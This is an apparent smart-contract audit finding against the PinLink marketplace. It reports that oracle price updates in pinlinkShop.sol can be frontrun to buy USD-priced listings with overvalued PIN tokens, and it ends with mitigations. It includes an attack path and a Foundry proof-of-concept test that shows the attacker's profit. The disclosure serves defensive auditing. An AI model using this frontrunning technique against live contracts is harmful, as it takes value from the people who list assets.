Scrawny Blonde Seahorse

Medium

# Oracle updates are frontrunable, allowing an attacker to steal value from listings.

### Summary

Purchases in pinlinkShop.sol rely on an oracle to convert the price of the PIN token used to purchase an asset into the USD value that the asset is listed at. Because of this, open listings are subject to oracle pricing risk in the event of a rapid depreciation of the PIN price. If a large enough drop occurs in the span of one oracle update which is very plausible given the current volatility of PIN, an attacker can buy the listing at an inflated PIN price right before the update hits. This steals value from the asset seller.

### Root Cause

The choice to create listings with a USD value but pay for them with PIN is what allows this to become an issue. Every single time an oracle update is made, there is opportunity for the pricing differential between the current oracle price, the updated oracle price, and the current fair value of PIN to create an arbitrage at the expense of the lister. Since this is being deployed on Ethereum, it is trivial for an attacker to bundle purchases with an oracle update and take advantage of this.

Listings use a USD price but are paid for in PIN:
[listing struct](https://github.com/sherlock-audit/2025-03-pinlink-rwa-tokenized-depin-marketplace/blob/34cd70b66f1dbe191bd6f946e42f58eef4a00166/marketplace-contracts/src/marketplaces/pinlinkShop.sol#L27)
```solidity
struct Listing {
    ...
    // price per asset fraction in usd with 18 decimals
    uint256 usdPricePerFraction;
    ...
}
```
[purchase price conversion](https://github.com/sherlock-audit/2025-03-pinlink-rwa-tokenized-depin-marketplace/blob/34cd70b66f1dbe191bd6f946e42f58eef4a00166/marketplace-contracts/src/marketplaces/pinlinkShop.sol#L313-L314)
```solidity
    function purchase(bytes32 listingId, uint256 fractionsAmount, uint256 maxTotalPinAmount) external {
    ...
        uint256 totalUsdPayment = listing.usdPricePerFraction * fractionsAmount;
        uint256 totalPinPayment = IPinlinkOracle(oracle).convertFromUsd(address(PIN), totalUsdPayment);
```

### Internal Pre-conditions

1. There needs to be a listing for an asset at reasonable price

### External Pre-conditions

1. The oracle needs to have a pending price update that decreases the PIN price by more than the current listing fee

### Attack Path

1. The attacker sees the pending price update
2. The attacker frontruns the update with a purchase

### Impact

The listing owner sells the asset for an inflated PIN price, the loss of value is captured by the attacker.

If there is a secondary market for the ERC1155 tokens there is the potential for this to be an atomic arbitrage at the asset lister's expense. For example, if a token is selling for $10 on the pinlink shop and a bid for the same asset exists somewhere else for $9.50, the attacker could make profit in the span of a single mev bundle.

If that is not the case and the ERC1155 can only be sold in plinkShop, then the attacker takes on some inventory risk, but could relist the asset on the market for the exact same USD price as the original listing and walk away with a profit once someone purchases it.

The profit that an attacker makes in this case is equal to the price differential of the oracle updates minus listing fees provided the attacker can offload the asset at the new PIN price.

### PoC

Please put this test in purchase.t.sol in the StakingShop_Purchase_Tests contract:
```solidity
    function test_mevable_oracle_update() public {
        // oracle updates are frontrunable
        // this allows sophisticated users to steal value from users with active listings

        // this test suite starts with a PIN price set to 0.95 dollars
        // lets say that an oracle update setting it to 0.80 dollars is found in the mempool
        // so long as a listing is fairly priced, makes sense for an attacker to buy it,
        // as the denomination of the listing is artificially overvalued prior the the update
        // this steals value from the lister and gives it to the buyer

        // buy prior to price update
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        deal(address(PIN), attacker, 1_000_000e18);
        uint256 startingBalance = PIN.balanceOf(attacker);
        PIN.approve(address(pshop), 1_000_000e18);
        pshop.purchase(listingId0, 40, 1_000_000e18);

        // perform price update
        vm.startPrank(admin);
        oracle.updateTokenPrice(0.80 ether);

        // let's say someone buys the asset off of the attacker at the new lower PIN price
        // attacker lists asset with same price as original seller
        vm.startPrank(attacker);
        bytes32 relistId = pshop.list(address(fractions), asset1, 40, 8000e18, block.timestamp + 12 days);

        // the second buyer purchases for the same listing price at the new PIN price
        address secondBuyer = makeAddr("secondBuyer");
        vm.startPrank(secondBuyer);
        deal(address(PIN), secondBuyer, 1_000_000e18);
        PIN.approve(address(pshop), 1_000_000e18);
        pshop.purchase(relistId, 40, 1_000_000e18);

        // attacker ends up with a profit
        uint256 endingBalance = PIN.balanceOf(attacker);
        assertEq(startingBalance, 1000000000000000000000000);
        assertEq(endingBalance,   1043157894736842105263158);
    }
```

### Mitigation

Consider not relying on anything dependent on an oracle, or perhaps blend the centralized oracle with a TWAP of the uniswap price. Relying on an oracle to price the asset used to purchase a listing opens up arbitrages at user expense when the price stair steps. Allowing users to list assets natively in PIN or USDC and to pay with the same currency bypasses this issue as well.